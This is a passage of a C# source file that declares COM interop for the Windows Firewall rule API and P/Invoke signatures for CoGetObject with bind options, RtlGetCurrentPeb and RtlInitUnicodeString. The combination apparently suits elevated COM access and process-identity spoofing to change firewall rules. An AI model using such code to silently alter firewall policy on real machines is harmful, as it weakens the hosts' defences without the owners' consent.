178 | bool UnicastResponsesToMulticastBroadcastDisabled { get; set; }
179 |
180 | [DispId(7)]
181 | INetFwRules Rules { get; }
182 |
183 | [DispId(8)]
184 | INetFwServiceRestriction ServiceRestriction { get; }
185 |
186 | [DispId(12)]
187 | NET_FW_ACTION_ DefaultInboundAction { get; set; }
188 |
189 | [DispId(13)]
190 | NET_FW_ACTION_ DefaultOutboundAction { get; set; }
191 |
192 | [DispId(14)]
193 | bool IsRuleGroupCurrentlyEnabled { get; }
194 |
195 | [DispId(15)]
196 | NET_FW_MODIFY_STATE_ LocalPolicyModifyState { get; }
197 |
198 | [DispId(9)]
199 | void EnableRuleGroup(int profileTypesBitmask, string group, bool enable);
200 |
201 | [DispId(10)]
202 | bool IsRuleGroupEnabled(int profileTypesBitmask, string group);
203 |
204 | [DispId(11)]
205 | void RestoreLocalFirewallDefaults();
206 | }
207 |
208 | [ComImport, Guid("8267BBE3-F890-491C-B7B6-2DB1EF0E5D2B")]
209 | public interface INetFwServiceRestriction
210 | {
211 | [DispId(1)]
212 | void RestrictService(string serviceName, string appName, bool RestrictService, bool serviceSidRestricted);
213 |
214 | [DispId(2)]
215 | bool ServiceRestricted(string serviceName, string appName);
216 |
217 | [DispId(3)]
218 | INetFwRules Rules { get; }
219 | }
220 |
221 | [ComImport, Guid("9C4C6277-5027-441E-AFAE-CA1F542DA009")]
222 | public interface INetFwRules : IEnumerable
223 | {
224 | [DispId(1)]
225 | int Count { get; }
226 |
227 | [DispId(2)]
228 | void Add(INetFwRule rule);
229 |
230 | [DispId(3)]
231 | void Remove(string Name);
232 |
233 | [DispId(4)]
234 | NetFwRule Item(string Name);
235 | }
236 |
237 | [ComImport, Guid("AF230D27-BABA-4E42-ACED-F524F22CFCE2"), CoClass(typeof(NetFwRuleClass))]
238 | public interface NetFwRule : INetFwRule
239 | {
240 | }
241 |
242 | [ComImport, Guid("AF230D27-BABA-4E42-ACED-F524F22CFCE2")]
243 | public interface INetFwRule
244 | {
245 | [DispId(1)]
246 | string Name { get; set; }
247 |
248 | [DispId(2)]
249 | string Description { get; set; }
250 |
251 | [DispId(3)]
252 | string ApplicationName { get; set; }
253 |
254 | [DispId(4)]
255 | string serviceName { get; set; }
256 |
257 | [DispId(5)]
258 | int Protocol { get; set; }
259 |
260 | [DispId(6)]
261 | string LocalPorts { get; set; }
262 |
263 | [DispId(7)]
264 | string RemotePorts { get; set; }
265 |
266 | [DispId(8)]
267 | string LocalAddresses { get; set; }
268 |
269 | [DispId(9)]
270 | string RemoteAddresses { get; set; }
271 |
272 | [DispId(10)]
273 | string IcmpTypesAndCodes { get; set; }
274 |
275 | [DispId(11)]
276 | NET_FW_RULE_DIRECTION_ Direction { get; set; }
277 |
278 | [DispId(12)]
279 | object Interfaces { get; set; }
280 |
281 | [DispId(13)]
282 | string InterfaceTypes { get; set; }
283 |
284 | [DispId(14)]
285 | bool Enabled { get; set; }
286 |
287 | [DispId(15)]
288 | string Grouping { get; set; }
289 |
290 | [DispId(16)]
291 | int Profiles { get; set; }
292 |
293 | [DispId(17)]
294 | bool EdgeTraversal { get; set; }
295 |
296 | [DispId(18)]
297 | NET_FW_ACTION_ Action { get; set; }
298 | }
299 |
300 | [ClassInterface(ClassInterfaceType.None), Guid("2C5BC43E-3369-4C33-AB0C-BE9469677AF4")]
301 | [ComImport]
302 | public class NetFwRuleClass : INetFwRule, NetFwRule
303 | {
304 | [DispId(1)]
305 | public virtual extern string Name { get; set; }
306 |
307 | [DispId(2)]
308 | public virtual extern string Description { get; set; }
309 |
310 | [DispId(3)]
311 | public virtual extern string ApplicationName { get; set; }
312 |
313 | [DispId(4)]
314 | public virtual extern string serviceName { get; set; }
315 |
316 | [DispId(5)]
317 | public virtual extern int Protocol { get; set; }
318 |
319 | [DispId(6)]
320 | public virtual extern string LocalPorts { get; set; }
321 |
322 | [DispId(7)]
323 | public virtual extern string RemotePorts { get; set; }
324 |
325 | [DispId(8)]
326 | public virtual extern string LocalAddresses { get; set; }
327 |
328 | [DispId(9)]
329 | public virtual extern string RemoteAddresses { get; set; }
330 |
331 | [DispId(10)]
332 | public virtual extern string IcmpTypesAndCodes { get; set; }
333 |
334 | [DispId(11)]
335 | public virtual extern NET_FW_RULE_DIRECTION_ Direction { get; set; }
336 |
337 | [DispId(12)]
338 | public virtual extern object Interfaces { get; set; }
339 |
340 | [DispId(13)]
341 | public virtual extern string InterfaceTypes { get; set; }
342 |
343 | [DispId(14)]
344 | public virtual extern bool Enabled { get; set; }
345 |
346 | [DispId(15)]
347 | public virtual extern string Grouping { get; set; }
348 |
349 | [DispId(16)]
350 | public virtual extern int Profiles { get; set; }
351 |
352 | [DispId(17)]
353 | public virtual extern bool EdgeTraversal { get; set; }
354 |
355 | [DispId(18)]
356 | public virtual extern NET_FW_ACTION_ Action { get; set; }
357 | }
358 |
359 | #endregion
360 |
361 | #region P/Invoke Methods
362 |
363 | [DllImport("kernel32.dll")]
364 | public static extern IntPtr GetConsoleWindow();
365 |
366 | [DllImport("ole32", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
367 | [return: MarshalAs(UnmanagedType.Interface)]
368 | public static extern object CoGetObject(string pszName, [In] ref BIND_OPTS3 pBindOptions, [In][MarshalAs(UnmanagedType.LPStruct)] Guid riid);
369 |
370 | [DllImport("ole32.dll")]
371 | public static extern int CoInitializeEx(IntPtr pvReserved, uint dwCoInit);
372 |
373 | [DllImport("ole32.dll")]
374 | public static extern void CoUninitialize();
375 |
376 | [DllImport("ntdll.dll", CharSet = CharSet.Ansi, SetLastError = true)]
377 | public static extern IntPtr RtlGetCurrentPeb();
378 |
379 | [DllImport("ntdll.dll", CharSet = CharSet.Unicode, SetLastError = true)]
380 | public static extern void RtlInitUnicodeString(IntPtr desc, string str);
381 |
382 | [DllImport("ole32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
383 | public static extern int CoCreateInstance(
384 | ref Guid rclsid,
385 | IntPtr pUnkOuter,
386 | CLSCTX dwClsContext,
387 | ref Guid riid,
388 | [MarshalAs(UnmanagedType.Interface)] out object ppv
389 | );
390 |
391 | #endregion
392 |
393 | #region Constants
394 |
395 | public static readonly Guid CLSID_NetFwPolicy2 = new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD");
396 | public static readonly Guid IID_INetFwPolicy2 = new Guid("98325047-C671-4174-8D81-DEFCD3F03186");
397 |
398 | #endregion
399 | }
400 | }
401 |
--------------------------------------------------------------------------------